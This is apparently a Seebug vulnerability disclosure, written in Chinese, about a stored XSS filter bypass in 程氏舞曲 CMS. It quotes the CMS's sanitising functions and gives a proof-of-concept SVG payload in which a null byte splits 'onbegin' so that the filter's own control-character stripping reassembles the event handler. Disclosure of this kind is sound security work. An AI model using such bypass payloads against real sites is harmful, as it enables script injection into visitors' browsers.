程氏舞曲CMS最新版再次绕过过滤存储型XSS

2014-08-08T00:00:00
ID SSV:94542
Type seebug
Reporter Root
Modified 2014-08-08T00:00:00

Description

简要描述:

继昨天修复的过滤方法,再来一发。。

详细说明:

看了一下昨天修复的代码,就是在第二个字符处添加了一个<x>,于是各种焦头烂额都不行了。。再次研究上下的代码:

function uhtml($str) { $farr = array( "/\\s+/", //过滤多余的空白 "/&lt;(\\/?)(script|i?frame|style|html|body|title|link|meta|\\?|\\%)([^&gt;]*?)&gt;/isU", "/(&lt;[^&gt;]*)on[a-zA-Z]+\\s*=([^&gt;]*&gt;)/isU", ); $tarr = array( " ", " ", "\1\2", ); $str = preg_replace( $farr,$tarr,$str); //return $str; return remove_xss($str); }

这里把on事件过滤的死死的。。只有想办法绕过on 发现remove_xss里面有这样一句:

$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

将%00等的字符替换为空了!!于是o%00nxxx=xxx在过滤后就变成了onxxx=xxx 又发现onbegin、onend没有在过滤的关键词中,于是出现了如下绕过的代码:

&lt;svg&gt;&lt;animateTransform attributeName=transform o%00nbegin=alert(/UncleJim/)&gt;

过滤后就变为:

&lt;svg&gt;&lt;animateTransform attributeName=transform onbegin=alert(/UncleJim/)&gt;

漏洞证明:

火狐下有效。

<img src="https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/081651300303b3e869991da9db077ea028cd961c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">